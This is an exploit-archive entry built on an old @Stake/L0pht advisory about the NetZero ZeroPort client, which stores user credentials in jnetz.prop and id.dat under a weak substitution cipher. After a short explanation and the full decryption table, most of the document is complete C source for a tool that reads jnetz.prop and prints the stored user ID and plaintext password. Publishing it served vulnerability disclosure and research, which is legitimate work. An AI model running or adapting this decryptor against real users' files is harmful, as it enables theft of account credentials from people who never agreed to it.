// source: https://www.securityfocus.com/bid/1483/info Netzero is a free internet service provider which requires its users to run the application ZeroPort in order to log onto the network. The username and password is stored locally in a text file called id.dat and is inadequately encrypted. The weakly encrypted username and password may also be stored in jnetz.prop if the option "Save Password" is enabled. If a malicious user has access to the aforementioned files, they may decrypt the username and password using the exploit provided by Brian Carrier <bcarrier@atstake.com> or by using a simple substitution cipher. Taken from the @Stake/L0pht advisory, Brian Carrier explains how to decrypt the username and password: The classical substitution cipher is a 1-to-1 mapping between characters where each plaintext character is replaced by one ciphertext character. For example, let P_i be the plaintext character in location 'i' and C_j be the ciphertext character in location 'j', then C_i is the character that P_i maps to. The NetZero substitution cipher replaces each plaintext character by two ciphertext characters, but the two ciphertext characters are not stored together. When substituting character P_i of a password of length 'n', the first ciphertext character is C_i and the second character is C_n+i. The two ciphertext characters are derived from the following table: | 1 a M Q f 7 g T 9 4 L W e 6 y C --+---------------------------------- g | ` a b c d e f g h i j k l m n o T | p q r s t u v w x y z { | } ~ f | @ A B C D E F G H I J K L M N O 7 | P Q R S T U V W X Y Z [ \ ] ^ _ Q | 0 1 2 3 4 5 6 7 8 9 : ; < = > ? M | SP ! " # $ % & ' ( ) * + , - . / The characters inside the table represent the ASCII plaintext characters and SP represents a space. When encrypting a string, P, of length 'n', find each character in the table and place the column header into C_i and place the row header into C_n+i. For example: E(a) = ag E(aa) = aagg E(aqAQ1!) = aaaaaagTf7QM E(`abcdefghijklmno) = 1aMQf7gT94LWe6yCgggggggggggggggg When decrypting a string, C, of length '2n', then P_i will be the element in the above table where the column headed by C_i and the row headed by C_n+i intersect. For example: D(af) = A D(aaff) = AA D(aaMMQQfgfgfg) = AaBbCc #include <stdio.h> #include <string.h> #define UID_SIZE 64 #define PASS_CIPHER_SIZE 128 #define PASS_PLAIN_SIZE 64 #define BUF_SIZE 256 const char decTable[6][16] = { {'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o'}, {'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',0}, {'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O'}, {'P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_'}, {'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?'}, {' ','!','"','#','$','%','&','\'','(',')','*','+',',','-','.','/'} }; int nz_decrypt(char cCipherPass[PASS_CIPHER_SIZE], char cPlainPass[PASS_PLAIN_SIZE]) { int passLen, i, idx1, idx2; passLen = strlen(cCipherPass)/2; if (passLen > PASS_PLAIN_SIZE) { printf("Error: Plain text array too small\n"); return 1; } for (i = 0; i < passLen; i++) { switch(cCipherPass[i]) { case '1': idx2 = 0; break; case 'a': idx2 = 1; break; case 'M': idx2 = 2; break; case 'Q': idx2 = 3; break; case 'f': idx2 = 4; break; case '7': idx2 = 5; break; case 'g': idx2 = 6; break; case 'T': idx2 = 7; break; case '9': idx2 = 8; break; case '4': idx2 = 9; break; case 'L': idx2 = 10; break; case 'W': idx2 = 11; break; case 'e': idx2 = 12; break; case '6': idx2 = 13; break; case 'y': idx2 = 14; break; case 'C': idx2 = 15; break; default: printf("Error: Unknown Cipher Text index: %c\n", cCipherPass[i]); return 1; break; } switch(cCipherPass[i+passLen]) { case 'g': idx1 = 0; break; case 'T': idx1 = 1; break; case 'f': idx1 = 2; break; case '7': idx1 = 3; break; case 'Q': idx1 = 4; break; case 'M': idx1 = 5; break; default: printf("Error: Unknown Cipher Text Set: %c\n", cCipherPass[i+passLen]); return 1; break; } cPlainPass[i] = decTable[idx1][idx2]; } cPlainPass[i] = 0; return 0; } int main(void) { FILE *hParams; char cBuffer[BUF_SIZE], cUID[UID_SIZE]; char cCipherPass[PASS_CIPHER_SIZE], cPlainPass[PASS_PLAIN_SIZE]; int done = 2; printf("\nNet Zero Password Decryptor\n"); printf("Brian Carrier [bcarrier@atstake.com]\n"); printf("@Stake L0pht Research Labs\n"); printf("http://www.atstake.com\n\n"); if ((hParams = fopen("jnetz.prop","r")) == NULL) { printf("Unable to find jnetz.prop file\n"); return 1; } while ((fgets(cBuffer, BUF_SIZE, hParams) != NULL) && (done > 0)) { if (strncmp(cBuffer, "ProfUID=", 8) == 0) { done--; strncpy(cUID, cBuffer + 8, UID_SIZE); printf("UserID: %s", cUID); } if (strncmp(cBuffer, "ProfPWD=", 8) == 0) { done--; strncpy(cCipherPass, cBuffer + 8, PASS_CIPHER_SIZE); printf("Encrypted Password: %s", cCipherPass); if (nz_decrypt(cCipherPass, cPlainPass) != 0) return 1; else printf("Plain Text Password: %s\n", cPlainPass); } } fclose(hParams); if (done > 0) { printf("Invalid jnetz.prop file\n"); return 1; } else { return 0; } }